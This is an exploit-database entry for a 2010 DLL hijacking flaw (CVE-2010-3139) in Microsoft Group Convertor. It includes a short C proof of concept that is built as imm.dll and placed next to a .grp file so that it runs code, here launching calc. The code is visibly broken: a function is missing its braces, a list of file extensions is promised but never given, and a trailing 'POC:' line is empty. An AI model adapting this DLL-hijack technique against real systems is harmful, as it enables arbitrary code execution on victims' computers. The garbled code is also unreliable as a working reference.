Microsoft Group Convertor DLL Hijacking Exploit (imm.dll)

EDB-ID: 14758 CVE: 2010-3139 OSVDB-ID: 67535
Verified: Author: Beenu Arora Published: 2010-08-25
Download Exploit: Source Raw Download Vulnerable App: N/A
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Exploit Title: Microsoft Group Convertor DLL Hijacking (imm.dll)
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: grp

Compile and rename to imm.dll, create a file in the same dir with one of the
following extensions:

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
  WinExec("calc", 0);
  return 0;

// POC: